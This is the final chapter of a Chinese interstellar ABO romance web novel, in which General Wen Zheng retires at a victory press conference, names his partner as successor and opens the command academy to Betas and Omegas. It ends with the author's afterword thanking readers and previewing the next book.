联邦会对其提供政治庇护, 让他们回到原本的母星——洛河星系7号星。 第三, 德瓦帝国须将联邦所提供的第三次星际战争中的A级战犯交给联邦, 经由联邦最高联合法庭审判后执行。 艾德莱斯五星上将正在依次向联邦民众汇报此三项进展结果。 《百年互不干涉和平条约》已经签订完毕，德瓦母星的艾尼默人正在被陆续传送至联邦洛河星系7号星进行妥善安置。 而以阿维尔·斯坦科夫和奥克斯·奴瓦辛戈为首的德瓦帝国A级战犯的审理已经完成, 预计一周后执行太空放逐死刑。 台下第一排是联邦主席和联邦各成员种族的最高话事人，联邦的四星上将们坐在台下的第二排, 第三排往后则是各军团对应的将官级与校官级军官。 闻铮不用回头就知道自己的Alpha坐在了正后方，他能闻到裴简珩身上夹杂着冷空气的淡淡檀木香。 他脊背挺直地坐在那里，但仔细看能看出闻上将眼底有些微红，好像没怎么睡好。 艾德莱斯五星上将的讲话已经进展到了对突出贡献的军官进行授勋的环节，他的视线扫过了台下第二排的闻铮，在一众军官中，他耀眼的过分突出。 艾德莱斯缓声道：“接下来, 有请在第三次星际战争中为联邦胜利做出突出贡献的闻铮上将。” 在一瞬间的寂静后，全场响起了轰动的掌声，就连线上的直播观看人数都有一个吓人的攀升数字！ 这是第三军团之刃第二次在公共场合露面，第一次他只出现了五分钟不到就被掐断了直播，所有影像资料再也找不到，所以这次闻铮一出现，不管是民众还是军官都大感意外。 闻铮从位置上站起来，从容不迫地缓步走上了台，他抬眼和艾德莱斯交换了一个一触即分的眼神，艾德莱斯退到了一旁，偌大的发言台上，只有闻铮一人。 他垂眼一秒，随后抬眼，那双漆黑的眸子直直看向线上每个正在通讯屏幕前的人，不少人为了这位赫赫有名的战神而惊叹。 原来在两次星际战争中力挽狂澜的战争英雄，势不可挡的第三军团之刃，竟然如此年轻，又如此俊美! 在开始讲话之前，闻铮先敬了一个联邦军礼。 发布会内的掌声戛然而止，安静的落针可闻。 闻铮先是代表了第三军团有突出贡献的授勋将士们发表了讲话，随后沉默了半晌，方又重新开口。 “迄今为止，闻铮在联邦星际军队中已服役十八年，经历两场星际战争，七十六场前线战役。承蒙星际军队同僚的信任与托举，才能职责所在，幸不辱命。” “《百年互不干涉和平条约》已经签订，德瓦帝国元气大伤，我们迎来了真正的和平。” “如此，请允许闻铮，”他垂眼，浓密的眼睫在灯光的照射在苍白的脸上倒映出一小块阴影，“宣布从第三军团退役，即日生效。” 这一幕，宛如三年前那场授勋仪式画面再现，线上观看直播的联邦民众都是悚然一惊，纷纷点击录屏，生怕和三年前一样下一秒直播就被掐断了！ 但这次并没有，除了第三排之后的将官级和校官级军官大吃一惊甚至有些哗然之外，第一排的联邦主席和各种族代表、第二排的上将们，脸上却非常平静。 毕竟闻铮已经在那场为期四个半小时的会议尾声之时，就和他们宣布了自己的退役想法。 所有人都在猜测和纠结这位耀眼的战争英雄想要怎样的功勋和地位，而他却安静地说——“不必费心了，闻铮即日起将从第三军团退役。” “同时，”这位第三军团上将在这时流露出了一丝温和，他的目光扫到了台下，落在自己高大俊朗的Alpha身上，微微顿了一下，方才缓缓道，“我举荐裴简珩上将，接替我成为第三军团军团长。” 除了几位上将，所有军官的目光都唰地一下聚焦到了正坐在第三排的裴简珩身上！ 而目光的正中心，裴简珩却遥遥望着台上的闻铮，神色复杂，眼底几不可见的泛红。 关于这件事，他们整整争吵了三天。 这是裴简珩和闻铮有史以来第一次、也是最大的一次争吵。 当闻铮躺在裴简珩怀里，缓缓和他说出自己打算从第三军团退役的时候，裴简珩虽然愣了一下，但也支持闻铮的想法，他知道闻哥已经筋疲力尽了，从十六岁参军，到现在的三十四岁，十八年时间过去，他从没有过一刻放松，现在终于能真正休息一下，也是应该的。 而直到闻铮说出：“在最高会议上，我已经举荐了你接替我成为第三军团军团长和悬空号舰长，你本来就会被授予上将军衔，接替我的位置也顺理成章。” 此言一出，裴简珩脸上的表情瞬间凝固。 卧室的空气都仿佛冻结。 半晌，裴简珩才咬着牙，一字一顿：“您这是……在做什么？” 又把敬语叫回来了，显然是生气了。 闻铮从他怀里直起身来，和他面对面坐着，认真地看着他的双眼：“简珩，在战争中你已经暴露了1215统领的身份，没有不透风的墙，我们都很清楚，你不可能继续担任1215的统领了。” “那我也不需要您给我让位置！”裴简珩脸上的表情冷冰冰的，绷着脸，闻铮倒是第一次见他对自己情绪如此激动，“除了闻铮，还有谁能担任第三军团的军团长？还有谁能当悬空号的舰长？” 他一把抓住了闻铮的胳膊，急得都忘了控制力气，把闻铮的双臂握得都有些痛：“您以为我会高兴吗？！我只在乎您，我根本不在乎什么1215的统领还是第三军团的军团长！我只想一直追随您，您在第三军团，我就也待在星舰军队总部。您要退役离开，我就和您一起——” 闻铮伸出食指抵住了裴简珩正在说话的嘴。 他笑了，颊边的梨涡分外明显：“我知道，简珩，我知道。” “我已经是四星上将了，经此一役，我的战功和荣誉已经让我站在了权力和地位的顶端，甚至距离五星上将也就是一步之遥，但又能怎样呢？” “我不想再处在政治旋涡的中心，但四星上将里必须要有人类的一席之地。德瓦母星中埋入的’Annihilation’的密钥被分成了七份，都分给了七大种族的上将联合保管，难道人类不需要把这1/7握在手里吗？” 闻铮温声道：“我没有在给你让路，我也没有牺牲任何东西，我早就和你说过，我从小追求的并不是这个，我也已经厌烦了无休止的政治、斗争和战役，十六岁那年的闻铮加入联邦军队就是为了复仇，现在一切都已经了结，我也想去追求我想要的东西。” 裴简珩直直地望着他，脸上的冰霜开始慢慢松动。 “我知道你想一直陪在我身边，可你为联邦做了那么多，什么头衔和荣誉都没有，所有高层都知道是联邦欠你良多，我的举荐没有得到任何反对和阻碍。”闻铮伸手爱怜地抚上了裴简珩的侧脸，“你还这么年轻，还有那么远大明亮的前程，我怎么舍得把你埋没在我身边？” “说什么埋没，这是我最想——” 闻铮再次打断了裴简珩的话，他第一次近乎撒娇地看着自己年轻的Alpha：“就听我一次，好不好？” 裴简珩：“……” 半晌，裴简珩才从牙缝里挤出了“不好”两个字。 闻铮：“……” 闻上将头痛，早猜到裴简珩不会这么轻易同意，但也着实没想到这么难哄。 就这样，两个人大吵小吵了三天，不停地互相谈判让步，终于勉强在发布会前达成了一致。 闻铮站在发言台上，显然也想到了这几天的“谈判”，笑得有些无奈：“我会从第三军团和悬空号上退役，但我仍然服役于星际舰队。星际舰队会组织有史以来最大规模和最高配置的科考舰，去探索新的星球和新的宇宙，我会担任其统领与舰长。” 不知为何，听到他只是离开第三军团，而没有真正从星际舰队退役，在场不少人心里还是松了口气，总感觉只要这位闻上将还在，他们心里就有了底。 闻铮又沉默了一会儿，才对着镜头微微笑了：“科考舰仍在制造中，预计四年后可以正式启航，我们将其命名为——” 他似乎哽咽了一下，方才道：“——破晓号。” 台下，裴简珩和凯利斯下意识地对视了一眼，都在对方眼中看到了感慨万千。 “在这四年的时间里，我会暂时担任联邦星舰军校指挥学院的荣誉院长。” 闻铮抛出了一个重逾千斤的炸弹，“在本次战役中，我看到了联邦所有种族的群星闪耀，也让我们思考起联邦现行制度的局限。因此，经与联邦主席、五星上将和联邦星舰军校校董会的商议，自即日起，不管是Alpha，Beta，还是Omega，只要符合条件，全人类性别均可报考联邦星舰军校指挥学院。” 此言一出，坐在后排的黎晓上尉、不，现在已经是少校了——猛地抬头，不可置信地望向了高台上的闻铮！ 什么…… 他听到了什么？！ 闻铮在此刻似乎也正朝他看来，眼底有微微的笑意。 不止在场的黎晓，就连闻铮的助理穆兰中校，都仿若雷击，难以置信地望向自己的长官！ 这就意味着……更多像他一样有能力的Beta和Omega，也能够光明正大地走进指挥学院、再走进舰桥、甚至有可能坐上舰长的座位，而不再只是协助工种。 天呐……这对于联邦来说，是一个多么宏大的飞跃！ 就连线上观看直播的联邦民众中，也有不少Beta和Omega甚至激动到站了起来，难以置信地来回拉动进度条，把闻铮的话反反复复地听了好几遍，直到确认这不是幻听才罢休！ 而闻铮，他原本是想公开自己Omega的身份的，但艾德莱斯大为震惊、难以置信、反复确认……然后立刻制止了他。 他能理解闻铮的出发点，无论是隐瞒身份参军，还是现在想要以身作则树立一个Omega在星舰中的标杆，他都敬佩且理解，但他从全局考量，还是万分不建议，起码在现在这个节骨眼，不算合适的时机。 闻铮也明白他的考量，所以也妥协了，暂时。 联邦此刻需要一个完美的战争英雄和联邦神话，但总有新的神话出现、总有不再需要他闻铮的那一天。 而如果Omega的未来可以自今日起有更广阔的前行之路，不会再有人为了这条路而像他一样剜去腺体，提心吊胆数十年，那就值得。 而此刻…… 闻铮站在这里，心里是从未有过的坦然和轻松。 他沉默了三秒，释然一笑。 “如今宇宙内的动荡已经暂时平息，联邦是时候着眼于探索新的宇宙、文明和未来。” “于此刻，将联邦星舰军队的箴言再与诸位共勉。” “愿我们终能，穿越逆境，直抵繁星。” 话音落时，联邦主席领头轻轻鼓起了掌，随后发布会礼堂内响起了绵延不绝的掌声。 在掌声和闪光灯簇拥之际，闻铮朝爱人所在的位置看去，正好落入裴简珩湛蓝色的眼底。 人声鼎沸之时，权力荣誉之巅，他们相视而笑。 ——正文完———— 作者有话说：正文完结啦[加油] 感谢大家一路陪闻哥和小裴到这里，千言万语我也一时之间不知从何说起，先给大家磕一个^^ 这本是我写文以来数据最不好的一本，1600收藏，每天好的时候几块钱，大部分时间还是只有几毛钱啊哈哈哈！ 但我真的很爱闻哥和小裴，倾注的心血也真的不算少，大纲章纲人设剧情……B5的本子正反面写满了一本，还有厚厚一沓A4纸，是上班的时候摸鱼写的。 也许是我当了牛马以后就没有了年轻时候的灵气吧，感觉比起五年前好像有的地方退步了，有的地方又好像进步了，写的还是从没涉及过的星际正剧题材，总而言之还是写的有点艰难，但很自豪的是从来没断更过[墨镜] 有段时间真的很内耗，怀疑是不是没人看，没人喜欢这个故事，也没人喜欢闻哥和小裴。又怀疑我是不是根本不是写文的料，要么还是算了，老老实实打工，这本到现在挣的钱还没有我一天工资高（。 又有些惆怅，如果在五年前《全天下》那本完结以后就坚持写下去，没有因为工作忙就中止，也许现在不会这么艰难呢。 后来突然有一天想通了，人还是不能美化没走上的那条路，五年的时间过去，我起码现在能靠着主业工作挣钱养副业，可以写自己想写的故事，哪怕题材很冷，也可以为爱发电，这也是很幸福的事呀=w= 感谢读者宝贝们，有一直给我评论鼓励我的，有一直坚持投营养液灌溉的，还有沉默追读的……超级感谢你们！！如果不是你们我可能早就道心破碎放弃惹[心碎] 下一本开江湖朝堂双重生古耽《什么宿敌，亲一口再死》（没错又是武侠大冷题材我看我是没救了= =）。 大家感兴趣的话可以点个预收藏嘛[可怜]这对糊糊小作者来说超级重要，我会特别特别开心，疯狂全文存稿争取早日开文！！ 最后再次感谢大家的支持，番外施工中，大家可以评论点梗，有合适的我就kuku开干！！啵啵啵！《 》